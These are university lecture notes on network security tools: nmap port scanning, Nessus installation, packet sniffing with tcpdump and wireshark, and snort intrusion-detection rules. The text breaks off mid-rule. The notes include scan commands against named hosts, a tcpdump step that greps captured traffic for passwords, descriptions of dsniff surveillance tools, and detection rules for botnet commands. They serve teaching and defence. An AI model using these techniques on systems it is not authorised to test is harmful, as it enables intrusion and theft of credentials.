Lecture 23: Port and Vulnerability Scanning, Packet Sniffing, Intrusion Detection, and Penetration Testing

Lecture Notes on "Computer and Network Security"

by Avi Kak (kak@purdue.edu)

April 2, 2013
1:03pm

Goals:

- Port scanners
- The nmap port scanner
- Vulnerability scanners
- The Nessus vulnerability scanner
- Packet sniffers
- Intrusion detection
- The Metasploit Framework
- The Netcat utility

CONTENTS

	Section Title	*Page*
23.1	**Port Scanning**	3
23.1.1	Port Scanning with Calls to `connect()`	6
23.1.2	Port Scanning with TCP SYN Packets	8
23.1.3	The `nmap` Port Scanner	10
23.2	**Vulnerability Scanning**	16
23.2.1	The Nessus Vulnerability Scanner	18
23.2.2	Installing Nessus	21
23.2.3	About the `nessus` Client	25
23.3	**Packet Sniffing**	26
23.3.1	Packet Sniffing with `tcpdump`	32
23.3.2	Packet Sniffing with `wireshark`	35
23.4	**Intrusion Detection with `snort`**	38
23.5	**Penetration Testing and Developing New Exploits with the Metasploit Framework**	48
23.6	**The Extremely Versatile Netcat Utility**	53
23.7	**Homework Problems**	61

23.1: PORT SCANNING

- See Section 21.1 of Lecture 21 for the mapping between the ports and many of the standard and non-standard services. As mentioned there, each service provided by a computer monitors a specific port for incoming connection requests. There are 65,535 different possible ports on a machine.

- The main goal of port scanning is to find out which ports are **open**, which are **closed**, and which are **filtered**.

- Looking at your machine from the outside, a given port on your machine is **open** if you are running a server program on the machine and the port is assigned to the server. If you are not running any server programs, then, from the outside, no ports on your machine are open. This would ordinarily be the case with a brand new laptop that is not meant to provide any services to the rest of the world. But, even with a laptop that was "clean" originally, should you happen to click accidently on an email attachment consisting of malware, you could inadvertently end up installing a server program in your machine.

- When we say a port is **filtered**, what we mean is that the packets passing through that port are subject to the filtering rules of a firewall.

- If a port on a remote host is **open** for incoming connection requests and you send it a SYN packet, the remote host will respond back with a SYN+ACK packet (see Lecture 16 for a discussion of this).

- If a port on a remote host is **closed** and your computer sends it a SYN packet, the remote host will respond back with a RST packet (see Lecture 16 for a discussion of this).

- Let's say a port on a remote host is **filtered** with something like an `iptables` based packet filter (see Lecture 18) and your scanner sends it a SYN packet or an ICMP ping packet, you may not get back anything at all.

- A frequent goal of port scanning is to find out if a remote host is providing a service that is vulnerable to buffer overflow attack (see Lecture 21 for this attack).

- Port scanning may involve all of the 65,535 ports or only the ports that are well-known to provide services vulnerable to different security-related exploits.

23.1.1: Port Scanning with Calls to `connect()`

- The simplest type of a scan is made with a call to **`connect()`**. The manpage for this system call on Unix/Linux systems has the following prototype for this function:

```
#include <sys/socket.h>

int connect(int socketfd, const struct sockaddr *address, socklen_t address_len);
```

  where the parameter **`socketfd`** is the file descriptor associated with the internet socket constructed by the client (with a call to three-argument **`socket()`**), the pointer parameter **`address`** that points to a **`sockaddr`** structure that contains the IP address of the remote server, and the parameter **`address_len`** that specifies the length of the structure pointed to by the second argument.

- A call to **`connect()`** if successful completes a three-way handshake (that was described in Lecture 16) for a TCP connection with a server. The header file **`sys/socket.h`** include a number of definitions of structs needed for socket programming in C.

- When **`connect()`** is successful, it returns the integer 0, otherwise it returns -1.

- In a typical use of `connect()` for port scanning, if the connection succeeds, the port scanner immediately closes the connection (having ascertained that the port is open).

23.1.2: Port Scanning with TCP SYN Packets

- Scanning remote hosts with SYN packets is probably the most popular form of port scanning.

- As discussed at length in Lecture 16 when we talked about SYN flooding for DoS attacks, if your machine wants to open a TCP connection with another machine, your machine sends the remote machine a SYN packet. If the remote machine wants to respond positively to the connection request, it responds back with a SYN+ACK packet, that must then be acknowledged by your machine with an ACK packet.

- In a port scan based on SYN packets, the scanner machine sends out SYN packets to the different ports of a remote machine. When the scanner machine receives a SYN+ACK packet in return, the scanner can be sure that the port on the remote machine is open.

- In port scans based on SYN packets, the scanner never sends back the ACK packet to close any of the connections. So any connections that are created are always in half-open states, until of course they time out.

- Usually, instead of sending back the expected ACK packet, the scanner sends an RST packet to close the half-open connection.

23.1.3: The `nmap` Port Scanner

- `nmap` stands for "network map". This open-source scanner was developed by Fyodor (see `http://insecure.org/`). This is one of the most popular port scanners that runs on Unix/Linux machines. There is good documentation on the scanner under the "Reference Guide" button at `http://nmap.org/`.

- `nmap` is actually more than just a port scanner. In addition to listing the open ports on a network, it also tries to construct an inventory of all the services running in a network. It also tries to detect as to which operating system is running on each machine, etc.

- In addition to carrying out a TCP SYN scan, `nmap` can also carry out TCP `connect()` scans, UDP scans, ICMP scans, etc. [Regarding UDP scans, note that SYN is a TCP concept, so there is *no* such thing as a UDP SYN scan. In a UDP scan, if a UDP packet is sent to a port that is *not* open, the remote machine will respond with an ICMP port-unreachable message. So the absence of a returned message can be construed as a sign of an open UDP port. However, as you should know from Lecture 18, a packet filtering firewall at a remote machine may prevent the machine from responding with an ICMP error message even when a port is closed.]

- As listed in the manpage, `nmap` comes with a large number of options for carrying out different kinds of security scans of a network. To give the reader a sense of the range of possibilities incorporated in these options, here is a partial description of the entries for the two options '-sP' and '-sV':

-sP : This option, also known as the "ping scanning" option, is **for ascertaining as to which machines are up in a network**. Under this option, nmap sends out ICMP echo request packets to every IP address in a network. Hosts that respond are up. But this does not always work since many sites now block echo request packets. To get around this, nmap can also send a TCP ACK packet to (by default) port 80. If the remote machine responds with a RST back, then that machine is up. Another possibility is to send the remote machine a SYN packet and waiting for a RST or a SYN/ACK. `For root users, nmap uses both the ICMP and ACK techniques in parallel.` For non-root users, only the TCP `connect()` method is used.

-sV : This is also referred to as "Version Detection". After nmap figures out which TCP and/or UDP ports are open, it next tries to figure out what service is actually running at each of those ports. A file called `nmap-services-probes` is used to determine the best probes for detecting various services. In addition to determine the service protocol (http, ftp, ssh, telnet, etc.), nmap also tries to determine the application name (such as Apache httpd, ISC bind, Solaris telnetd, etc.), version number, etc.

-sT : large The "-sT" option carries out a TCP **`connect()`** scan. See Section 23.1.1 for port scanning with calls to **`connect()`**.

-sU : This option sends a dataless UDP header to every port. As mentioned earlier in this section, the state of the port is inferred from the ICMP response packet (if there is such a response at all).

- If nmap is compiled with OpenSSL support, it will connect to SSL servers to figure out the service listening behind the encryption.

- To carry out a port scan of your own machine, you could try (called as root)

```
nmap -sS localhost
```

The "-sS" option carries out a SYN scan. If you wanted to carry out an "aggressive" SYN scan of, say, `moonshine.ecn.purdue.edu`, you would call as root:

```
nmap -sS -A moonshine.ecn.purdue.edu
```

where you can think of the "-A" option as standing for either "aggressive" or "advanced." This option enables OS detection, version scanning, script scanning, and more. [IMPORTANT: If the target machine has the DenyHosts shield running to ward off the dictionary attacks (See Lecture 24 for what that means) and you repeatedly scan that machine with the '-A' option turned on, your IP address may become quarantined on the target machine (assuming that port 22 is included in the range of the ports scanned). When that happens, you will not be able to SSH into the target machine. The reason I mention this is because, when first using `nmap`, most folks start by scanning the machines they normally use for everyday work. Should the IP address of your machine become inadvertently quarantined in an otherwise useful-to-you target machine, you will have to ask the administrator of the target machine to restore your SSH privileges there. This would normally require deleting your IP address from six different files that are maintained by DenyHosts.]

- You can limit the range of ports to scan with the "-p" option, as in the following call which will cause only the first 1024 ports to be scanned:

```
nmap -p 1-1024 -sT moonshine.ecn.purdue.edu
```

- The larger the number of router/gateway boundaries that need to be crossed, the less reliable the results returned by **`nmap`**. As an illustration, I rarely get accurate results with **`nmap`** when I am port scanning a Purdue machine from home. [When scanning a remote machine several hops away, I sometimes get better results with my very simple port scanner `port_scan.pl` shown in Lecture 16. But, obviously, that scanner comes nowhere close to matching the amazing capabilities of `nmap`.]

- When I invoked nmap on localhost, I got the following result

```
Starting nmap 3.70 ( http://www.insecure.org/nmap/ ) at 2007-03-14 10:20 EDT
Interesting ports on localhost.localdomain (127.0.0.1):
(The 1648 ports scanned but not shown below are in state: closed)
PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
465/tcp  open  smtps
587/tcp  open  submission
631/tcp  open  ipp
814/tcp  open  unknown
953/tcp  open  rndc
1241/tcp open  nessus
3306/tcp open  mysql

Nmap run completed -- 1 IP address (1 host up) scanned in 0.381 seconds
```

- By default, **`nmap`** first pings a remote host in a network before scanning the host. The idea is that if the machine is down, why waste time by scanning all its ports. But since many sites now block/filter the ping echo request packets, this strategy may bypass machines that may otherwise be up in a network. To change this behavior, the following sort of a call to **`nmap`** may produce richer results (at the cost of slowing down a scan):

  ```
  nmap -sS -A -P0 moonshine.ecn.purdue.edu
  ```

  The '-P0' option (the second letter is 'zero') tells **`nmap`** to **not** use ping in order to decide whether a machine is up.

- `nmap` can make a good guess of the OS running on the target machine by using what's known as "TCP/IP stack fingerprinting." It sends out a series of TCP and UDP packets to the target machine and examines the content of the returned packets for the values in the various header fields. These may include the sequence number field, the initial window size field, etc. Based on these values, `nmap` then constructs an OS "signature" of the target machine and sends it to a database of such signatures to make a guess about the OS running on the target machine.

23.2: VULNERABILITY SCANNING

- The terms *security scanner*, *vulnerability scanner*, and *security vulnerability scanner* all mean roughly the same thing. Any such "system" may also be called just a *scanner* in the context of network security. Vulnerability scanners frequently include port scanning.

- A vulnerability scanner scans a specified set of ports on a remote host and tries to test the service offered at each port for its known vulnerabilities.

- Be forewarned that an aggressive vulnerability scan may crash the machine you are testing. It is a scanner's job to connect to all possible services on all the open ports on a host. By the very nature of such a scan, a scanner will connect with the ports and test them out in quick succession. If the TCP engine on the machine is poorly written, the machine may get overwhelmed by the network demands created by the scanner and could simply crash. **That is why many sysadmins carry out security**

scans of their networks no more than once a month or even once a quarter.

23.2.1: The Nessus Vulnerability Scanner

- According to the very useful web site "Top 100 Network Security Tools" (`http://sectools.org`), the source code for Nessus, which started out as an open-source project, was closed in 2005. Now for commercial applications you have to maintain a paid subscription to the company Tenable Computer Networks for the latest vulnerability signatures. However, it is still free for personal and non-commercial use.

- Nessus is a *remote security scanner*, meaning that it is typically run on one machine to scan all the services offered by a remote machine in order to determine whether the latter is safeguarded against all known security exploits.

- According to the information posted at `http://www.nessus.org`: Nessus is the world's most popular vulnerability scanner that is used in over 75,000 organizations world-wide.

- The "Nessus" Project was started by Renaud Deraison in 1998. In 2002, Renaud co-founded Tenable Network Security with Ron Gula, creator of the Dragon Intrusion Detection System and Jack

Huffard. Tenable Network Security is the owner, sole developer and licensor for the Nessus system.

- The Nessus vulnerability scanning system consists of a server and a client. They can reside in two separate machines.

- The server program is called **nessusd**. This is the program that "attacks" other machines in a network. The server is typically at the `/opt/nessus/sbin/nessusd` location.

- The client program is called **nessus**. The client, at the location `/opt/nessus/bin/nessus` orchestrates the server, meaning that it tells the server as to what forms of attacks to launch and where to deposit the collected security information. The client packages different attack scenarios under different names so that you can use the same attack scenario on different machines or different attack scenarios on the same machine.

- While the server **nessusd** runs on a Unix/Linux machine, it is capable of carrying out a vulnerability scan of machines running other operating systems.

- The security tests for the Nessus system are written in a special scripting language called **Network Attack Scripting Language** (NASL). Supposedly, NASL makes it easy to create new security tests.

- Each security test, written in NASL, consists of an **external plugin.** There are currently over 13,000 plugins available. New plugins are created as new security vulnerabilities are discovered. The command `nessus-update-plugins` can automatically update the database of plugins on your computer and do so on a regular basis.

- The client tells the server as to what category of plugins to use for the scan.

- Nessus can detect services even when they are running on ports other than the standard ports. That is, if the HTTP service is running at a port other than 80 or TELNET is running on a port other than port 23, Nessus can detect that fact and apply the applicable tests at those ports.

- Nessus has the ability to test SSLized services such as HTTPS, SMTPS, IMAPS, etc.

23.2.2: Installing Nessus

- As of April 2013, it appears that Nessus can no longer be installed through your Synaptic Package Manager. I had to go through the following step for the installation of this tool:
  - I downloaded the debian package from the Nessus website and installed it in my laptop with the following command:

    ```
    dpkg -i Nessus-5.0.0-ubuntu1010_amd64.deb
    ```

    When the package is installed, it displays the following message

    ```
    All plugins loaded:
     - You can start nessusd by typing /etc/init.d/nessusd start
     - Then go to https://pixie:8834/ to configure your scanner
    ```

    where "pixie" is the name of my laptop. Installation of the package will deposit all the Nessus related software in the various subdirectories of the `/opt/nessus/` directory. In particular, all the client commands are placed in the `bin` subdirectory and all the root-required commands in the `sbin` directory. What that implies is that you must include `/opt/nessus/bin/` in the pathname for your account and `/opt/nessus/sbin/` in the pathname for the root account. You must also include `/opt/nessus/man/` in your `MANPATH` to access the documentation pages for Nessus.

– As root, you can now fire up the `nessusd` server by executing:

```
/etc/init.d/nessusd start
```

You can see that the Nessus server is up and running by doing any of the following:

```
netstat -n | grep tcp
netstat -tap | grep LISTEN
netstat -pltn | grep 8834
```

Any of these commands will show you that the Nessus server is running and monitoring port 8834 for scan requests from Nessus clients.

– Now, in accordance with the message you saw when you installed the debian package, point your web browser to `https://pixie:8834/` (with "pixie" replaced by the name you have given to your machine) to start up the web based wizard for installing the rest of the server software (mainly the plugins you need for the scans) through a feed from `http://support.tenable.com`. The web-based wizard will take you directly to this URL after you have indicated whether you want a home feed or a professional feed. Go for home feed for now — it's free. I believe the professional feed could set you back by around $1500 a year. When you register your server at the URL, you will receive a feed key that you must enter in the wizard for the installation to continue. If you are running a spam filter, make sure that it can accept email from `nessus.org`.

– After you have entered the feed key in the install wizard in your web browser, you will be asked for a username and a password in your role as a sysadmin for the Nessus server. (Note that this is comparable to a root privilege). Should you forget the password, you can re-create a new sysadmin password by executing the command '`/opt/nessus/sbin/nessus-chpasswd admin`' as root.

– After you you have entered the above info, the Nessus server will download all the plugins. I think there are over 40,000 of these plugins for all sorts of vulnerability scans. **Each plugin is based on a unique vulnerability signature.** Eventually, you will see a screen with the heading "Nessus Vulnerability Scanner". Under the header, you will see a bar that has "Listing Scans" on the left and a button for "New Scan" on the right. Click on the "New Scan" button to create a test scan to play with.

- If you wish to allow multiple clients (who may be on different hosts in a network) to run scan through your Nessus server, you can do that by executing the following command as root

  ```
  nessus-adduser
  ```

  For further information on this command, do '`man nessus-adduser`'. You can also remove users (clients) by executing as root the command '`nessus-rmuser`'.

- By the way, you can update your plugins by executing the command '`nessus-update-plugins`'. This updating step only works if your server is registered with `http://www.nessus.org/register/`.

23.2.3: About the Nessus Client

- When you install the debian package as described in the previous subsection, the web-based install wizard I described there eventually takes you to a web based client. Note that it is the client's job to tell the server what sort of a vulnerability scan to run on which machines.

- Nessus also gives you a command-line client in the `/opt/nessus/bin` directory. The name of the client is `nessus`. If you do '`man nessus`', you will see examples of how to call the client on a targeted machine. The vulnerability scan carried out by the command-line client depend on the information you place in scan config file whose name carries the `.nessus` suffix.

- The basic parameters of how the `nessus` client interacts with a Nessus server are controlled by the automatically generated `.nessusrc` file that is placed in client user's home directory.

23.3: PACKET SNIFFING

- A packet sniffer is a passive device (as opposed to a port or vulnerability scanners that by their nature are "active" systems).

- Packet sniffers are more formally known as **network analyzers** and **protocol analyzers**.

- The name **network analyzer** is justified by the fact that you can use a packet sniffer to *localize* a problem in a network. As an example, suppose that a packet sniffer says that the packets are indeed being put on the wire by the different hosts. If the network interface on a particular host is not seeing the packets, you can be a bit more certain that the problem may be with the network interface in question.

- The name **protocol analyzer** is justified by the fact that a packet sniffer can look inside the packets for a given service (especially the packets exchanged during handshaking and other such negotiations) and make sure that the packet composition is as specified in the RFC document for that service protocol.

- What makes packet sniffing such a potent tool is that a majority of LANs are based on the **shared Ethernet** notion. In a shared Ethernet, you can think of all of the computers in a LAN as being plugged into the same wire (notwithstanding appearances to the contrary). **So all the Ethernet interfaces on all the machines that are plugged into the same router will see all the packets. On wireless LANs, all the interfaces on the same channel see all the packets meant for all of the hosts who have signed up for that channel.**

- As you'll recall from Lecture 16, it is the lowest layer of the TCP/IP protocol stack, the Link Layer, that actually puts the information on the wire. What is placed on the wire consists of data packets called **frames**. Each Ethernet interface gets a 48-bit address, called the MAC address, that is used to specify the source address and the destination address in each frame. Even though each network interface in a LAN sees all the frames, any given interface normally would not accept a frame unless the destination MAC address corresponds to the interface. [The acronym MAC here stands for Media Access Control. Recall that in Lecture 15, we used the same acronym for Message Authentication Code.]

- Here is the structure of an Ethernet frame:

```
Preamble          D-addr       S-addr       Frame-Type       Data          CRC
                  MAC          MAC

8 bytes           6 bytes      6 bytes      2 bytes          1500 bytes    4 bytes
                  <----- Ethernet Frame Header  ----->         (max)
                                 14 bytes

                  <----------  maximum of 1514 bytes  ---------------->
```

where "D-addr" stands for destination address and "S-addr" for source address. The 8-byte "Preamble" field consists of alternating 1's and 0's for the first seven bytes and '10101011' for the last byte; its purpose is to announce the arrival of a new frame and to enable all receivers in a network to synchronize themselves to the incoming frame. The 2-byte "Type" field identifies the higher-level protocol (e.g., IP or ARP) contained in the data field. The "Type" field therefore tells us how to interpret the data field. The last field, the 4-byte CRC (Cyclic Redundancy Check) provides a mechanism for the detection of errors that might have occurred during transmission. *If an error is detected, the frame is simply dropped.* From the perspective of a packet sniffer, each Ethernet frame consists of a maximum of 1514 bytes.

- The minimum size of an Ethernet frame is 64 bytes (D-addr: 6 bytes, S-addr: 6 bytes, Frame Type: 2 bytes, Data: 46 bytes, CRC checksum: 4 bytes). Padding bytes must be added if the data itself consists of fewer than 46 bytes. The maximum size is limited to 1518 bytes from the perspective of what's put on the wire, since it includes the 4 bytes CRC checksum. From the perspective of what would be received by an upper level protocol (say, the IP protocol) at the receiving end, the maximum size is limited to 1514 bytes. As you can guess, the number of bytes in the data field must not exceed 1500 bytes. [In modern Gigabit networks, a frame size of only 1514 bytes leads to excessively high frame rates. So there is now the notion of a *Jumbo Ehternet Frame* for ultrafast networks.]

- In OSI model of the TCP/IP protocol stack [see Section 16.2 of Lecture 16 for the OSI model], it is the Data Link Layer's job to map the destination IP address in an outgoing packet to the destination MAC address and to insert the MAC address in the outgoing frame. The Physical Layer then puts the frame on the wire.

- The Data Link Layer uses a protocol called the Address Resolution Protocol (ARP) to figure out the destination MAC address corresponding to the destination IP address. [In Section 9.8.1 of Lecture 9 I showed how ARP packets can be used to crack the encryption key in a locked WiFi.] As a first step in this protocol, the system looks into the locally available ARP cache. If no MAC entry is found in this cache, the system broadcasts an ARP request for the needed MAC address. As this request propagates outbound toward the destination machine, either en-route gateway machine supplies the answer from its own ARP cache, or, eventually, the destination machine supplies the answer. The answer received is cached for a maximum of 2 minutes. [If you want to see the contents of the ARP cache at any given moment, simply execute the command `arp` from the command line. It will show you the IP addresses and the associated MAC addresses currently in the cache. You don't have to be root to execute this command. Do `man arp` on your Ubuntu machine to find out more about the `arp` command.]

- Unless otherwise constrained by the arguments supplied, a packet sniffer will, in general, accept all of the frames in the LAN regardless of the destination MAC addresses in the individual frames.

- When a network interface does not discriminate between the incoming frames on the basis of the destination MAC address, we say the interface is operating in the **promiscuous mode**. [You can easily get an interface to work in the promiscuous mode simply by invoking '`ifconfg ethX promisc`' as root where `ethX` stands for the name of the interface (it would be something like eth0, eth1, wlan0, etc.).]

- About the power of packet sniffers to "spy" on the users in a LAN, the **`dsniff`** packet sniffer contains the following utilities that can collect a lot of information on the users in a network

sshmitm : This can launch a man-in-the-middle attack on an SSH link. (See Lecture 9 for the man-in-the-middle attack). As mentioned earlier, basically the idea is to intercept the public keys being exchanged between two parties A and B wanting to establish an SSH connection. The attacker, X, that can eavesdrop on the communication between A and B with the help of a packet sniffer pretends to be B vis-a-vis A and A vis-a-vis B.

urlsnarf : From the sniffed packets, this utility extracts the URL's of all the web sites that the network users are visiting.

mailsnarf: This utility can track all the emails that the network users are receiving.

webspy : This utility can track a designated user's web surfing pattern in real-time.

and a few others

23.3.1: Packet Sniffing with `tcpdump`

- This is an open-source packet sniffer that comes bundled with all Linux distributions.

- You saw many examples in Lectures 16 and 17 where I used `tcpdump` to give demonstrations regarding the various aspects of TCP/IP and DNS. **The notes for those lectures include explanations for the more commonly used command-line options for `tcpdump`.**

- `tcpdump` uses the **pcap** API (in the form of the `libpcap` library) for packet capturing. (The Windows equivalent of `libpcap` is `WinCap`.)

- Check the **pcap** manpage in your Linux installation for more information about **pcap**. You will be surprised by how easy it is to create your own network analyzer with the **pcap** packet capture library.

- Here is an example of how **tcpdump** could be used on your Linux laptop:

  - First create a file for dumping all of the information that will be produced by **tcpdump**:

    ```
    touch tcpdumpfile
    chmod 600 tcpdumpfile
    ```

    where I have also made it inaccessible to all except myself as root.

  - Now invoke **tcpdump**:

    ```
    tcpdump -w tcpdumpfile
    ```

    This is where **tcpdump** begins to do its work. It will will print out a message saying as to which interface it is listening to.

  - After a while of data collection, now invoke

    ```
    strings tcpdumpfile | more
    ```

    This will print out all the strings, meaning sequences of characters delimited by nonprintable characters, in the **tcpdumpfile**. The function **strings** is in the **binutils** package.

  - For example, if you wanted to see your password in the dump file, you could invoke:

    ```
    strings tcpdumpfile | grep -i password
    ```

– Hit `<ctrl-c>` in the terminal window in which you started `tcpdump` to stop packet sniffing.

23.3.2: Packet Sniffing with `wireshark` (formerly `ethereal`)

- **Wireshark** is a packet sniffer that, as far as the packet sniffing is concerned, work pretty much the same way as **`tcpdump`**. (It also uses the **pcap** library.) What makes **`wireshark`** special is its GUI front end that makes it extremely easy to analyze the packets.

- As you play with Wireshark, you will soon realize the importance of a GUI based interface for understanding the packets and analyzing their content in your network. As but one example of the ease made possible by the GUI frontend, suppose you have located a suspicious packet and now you want to look at the rest of the packets in just that TCP stream. With Wireshark, all you have to do is to click on that packet and turn on "follow TCP stream feature". Subsequently, you will only see the packets in that stream. The packets you will see will include resend packets and ICMP error message packets relevant to that stream.

- With a standard install of the packages, you can bring up the wireshark GUI by just entering **`wireshark`** in the command line. Yes, you can call **`wireshark`** with a large number of options to customize its behavior, but it is better to use the GUI itself for that purpose. So call `wireshark` without any options. [**If you are overwhelmed by the number of packets you see in the main window, enter something like `http` in the "Filter" text window just below the top-level icons. Subsequently, you will only see the http packets. By filtering out the packets you do not wish to see, it is easier to make sense of what is going on.**]

- The `wireshark` user's manual (HTML) is readily accessible through the "Help" menu button at the top of the GUI.

- To get started with sniffing, you could start by clicking on "capture". This will bring up a dialog window that will show all of the network interfaces on your machine. Click on "Start" for the interface you want to sniff on. Actually, instead click on the "Options" for the interface and click on "Start" through the resulting dialog window where you can name the file in which the packets will be dumped.

- You can stop sniffing at any time by clicking on the second-row icon with a little red 'x' on it.

- Wireshark understand 837 different protocols. You can see the list under "Help" menu button. It is instructive to scroll down this list if only to get a sense of how varied and diverse the world internet communications has become.

- Wireshark gives you three views of each packet:
  - A one line summary that looks like

```
Packet  Time      Source        Destination   Protocol   Info
Number
------------------------------------------------------------------

 1   1.018394   128.46.144.10  192.168.1.100  TCP   SSH > 33824 [RST,ACK] ..
```

  - A display in the middle part of the GUI showing further details on the packet selected. Suppose I select the above packet by clicking on it, I could see something like the following in this "details" display:

```
Frame 1  (54 bytes on the wire, 54 bytes captured)
Ethernet II, Src: Cisco-Li_6f:a8:db  (00:18:39:6f:a8:db), Dst: ..........
Internet Protocol:  Src: 128.46.144.10 (128.46.144.10)   Dst: .......
Transmission Control Protocol:  Src Port: ssh (22), Dst Port: 33824 ....
```

  - The lowest part of the GUI shows the hexdump for the packet.

- Note that wireshark will set the local Ethernet interface to promiscuous mode so that it can see all the Ethernet frames.

23.4: INTRUSION DETECTION WITH `snort`

- You can think of an **intrusion detector** as a packet sniffer on steroids.

- While being a passive capturer of the packets in a LAN just like a regular packet sniffer, an intrusion detector can bring to bear on the packets some fairly complex logic to decide whether an intrusion has taken place.

- One of the best known intrusion detectors is **`snort`**. By examining all the packets in a network and applying appropriate rulesets to them, it can do a good job of detecting intrusions. [**`snort`** does everything that **`tcpdump`** does plus more.] Like **`tcpdump`**, **`snort`** is an open-source command-line tool.

- What makes **`snort`** a popular choice is its easy-to-learn and easy-to-use rule language for intrusion detection. Just to get a sense of the range of attacks people have written rules for, here are the names of the rule files in `/etc/snort/rules` directory on my Ubuntu machine:

```
backdoor.rules                     community-web-iis.rules   pop2.rules
bad-traffic.rules                  community-web-misc.rules  pop3.rules
chat.rules                         community-web-php.rules   porn.rules
community-bot.rules                ddos.rules                rpc.rules
community-deleted.rules            deleted.rules             rservices.rules
community-dos.rules                dns.rules                 scan.rules
community-exploit.rules            dos.rules                 shellcode.rules
community-ftp.rules                experimental.rules        smtp.rules
community-game.rules               exploit.rules             snmp.rules
community-icmp.rules               finger.rules              sql.rules
community-imap.rules               ftp.rules                 telnet.rules
community-inappropriate.rules      icmp-info.rules           tftp.rules
community-mail-client.rules        icmp.rules                virus.rules
community-misc.rules               imap.rules                web-attacks.rules
community-nntp.rules               info.rules                web-cgi.rules
community-oracle.rules             local.rules               web-client.rules
community-policy.rules             misc.rules                web-coldfusion.rules
community-sip.rules                multimedia.rules          web-frontpage.rules
community-smtp.rules               mysql.rules               web-iis.rules
community-sql-injection.rules      netbios.rules             web-misc.rules
community-virus.rules              nntp.rules                web-php.rules
community-web-attacks.rules        oracle.rules              x11.rules
community-web-cgi.rules            other-ids.rules
community-web-client.rules         p2p.rules
```

- To give you a taste of the rule syntax, here is a simple rule:

```
alert tcp any any -> 192.168.1.0/24 80 (content:"|A1 CC 35 87|"; msg:"accessing port 80 on local")
```

where the keyword `alert` is the action part of the rule, the keyword `tcp` the protocol part, the string `any any` the source part, the string `->` the direction operator, and the string

`192.168.1.0/24 111` the destination part. These five parts constitute the rule header. What comes after that inside '()' is the rule body.

- To understand the header better, the string `any any` when used as the source means "from any IP address and from any source port." The portion `192.168.1.0/24` of the destination part means a Class C network since its first 24 bits are fixed as shown. The portion `80` specifies the destination port. The direction operator can be either `->` or `<-` or `<>`, the last for packets going in either direction.

- It is the body of a rule that takes some time getting used to. Remember, the body is whatever is between the parentheses '(' and ')'.

- The body consists of a sequence of **rule options** separated by ';'. A couple of the more frequently used options are: (1) the metadata option, and (2) the payload detection option. The purpose of the metadata option is to convey some useful information back to the human operator. The purpose of the payload option is to establish a criterion for triggering the rule, etc.

- Each option begins with a keyword followed by a colon. Some of the more commonly used keywords are for the metadata option are: `msg`, `reference`, `classtype`, `priority`, `sid`, `rev`, etc. Some of the more commonly used keywords for the payload detection option are: `content` that looks for a string of bytes in the packet payload, `nocase` that makes payload detection case insensitive, `offset` that specifies how many bytes to skip before searching for the triggering condition, `pcre` that says that matching of the payload will be with a Perl compatible regular expression, etc.

- In the rule example shown above, the body contained two options: the metadata option `msg` and the payload detection option `content`. Therefore, that rule will be triggered by any TCP packet whose payload contains the byte sequence `A1 CC 35 87`. When you are listing the bytes in hex, you are supposed to place them between '|' and '|'.

- It is often useful to only trigger a rule if the packet belongs to an established TCP session. This is accomplished with the `flow` option. The body of a rule will contain a string like `flow: to_server, established` if you wanted the rule to be triggered by a packet meant for a server and it was a part of an established session between the server and a client.

- You can also cause one rule to create conditions for triggering another rule later on. This is done with the `flowbits` option. An option declaration inside the rule body that looks like

  ```
  flowbits:set, community_is_proto_irc;
  ```

  means that you have set a tag named `community_is_proto_irc`. Now if there is another rule that contains the following option declaration inside its body:

  ```
  flowbits:isset, community_is_proto_irc;
  ```

  this would then become a condition for the second rule to fire.

- With that very brief introduction to the rule syntax, let's now peek into some of the rule files that are used for intrusion detection.

- Shown below are some beginning rules in the file `community-bot.rules`. **These rules look for botnets using popular bot software.** [**As explained in Lecture 29,** a **botnet** is a typically a collection of compromised computers — usually called **zombies** or **bots** — working together under the control of their human handlers — frequently called **bot herders** — who may use the botnet to spew out malware such as spam, spyware, etc. It makes it more difficult to track down malware if it seems to emanate randomly from a large network of zombies.] A bot herder typically sets up an IRC (Internet Relay Chat) channel for instant communications with the bots under his/her control. Therefore, the beginning of the ruleset shown below focuses on the IRC traffic in a network.

[Although it is relatively trivial to set up a chat server (for example, see Chapter 19 of my PwO book for C++ and Java examples and Chapter 15 of my SwO book for Perl and Python examples), what makes IRC different is that one IRC server can connect with other IRC servers to expand the IRC network. Ideally, when inter-server hookups are allowed, the servers operate in a tree topology in which the messages are routed only through the branches that are necessary to serve all the clients but with every server aware of the state of the network. IRC also allows for private client-to-client messaging and for private individual-to-group link-ups. **That should explain why bot herders like IRC.** Joining an IRC chat does not require a log-in, but it does require a nickname (frequently abbreviated as just `nick` in IRC jargon). See Lecture 29 for further information on botnets.]

```
# The following rule merely looks for IRC traffic on any TCP port (by detecting NICK change
# events, which occur at the beginning of the session) and sets the is_proto_irc flowbit.
# It does not actually generate any alerts itself:
alert tcp any any -> any any (msg:"COMMUNITY BOT IRC Traffic Detected By Nick Change"; \
flow: to_server,established; content:"NICK "; nocase; offset: 0; depth: 5; flowbits:set,\
community_is_proto_irc; flowbits: noalert; classtype:misc-activity; sid:100000240; rev:3;)

# Using the aforementioned is_proto_irc flowbits, do some IRC checks.  This one looks for
# IRC servers running on the $HOME_NET
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"COMMUNITY BOT Internal IRC server detected"; \
flow: to_server,established; flowbits:isset,community_is_proto_irc; classtype: policy-violation; \
sid:100000241; rev:2;)


# These rules look for specific Agobot/PhatBot commands on an IRC session
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.about \
command"; flow: established; flowbits:isset,community_is_proto_irc; content:"bot.about"; \
classtype: trojan-activity; sid:100000242; rev:2;)


alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.die command";
flow: established; flowbits:isset,community_is_proto_irc; content:"bot.die"; classtype:
trojan-activity; sid:100000243; rev:2;)
....
....
....
```

- Next let us peek into the file `community-virus.rules`. Here are the first three rules, meant for detecting the viruses Dabber (at two different ports) and BlackWorm.

```
alert tcp $EXTERNAL_NET any -> $HOME_NET 5554 (msg:"COMMUNITY VIRUS Dabber PORT overflow \
attempt port 5554"; flow:to_server,established,no_stream; content:"PORT"; nocase; isdataat:100,\
relative; pcre:"/^PORT\s[^\n]{100}/smi"; reference:MCAFEE,125300; classtype:attempted-admin; \
sid:100000110; rev:1;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 1023 (msg:"COMMUNITY VIRUS Dabber PORT overflow \
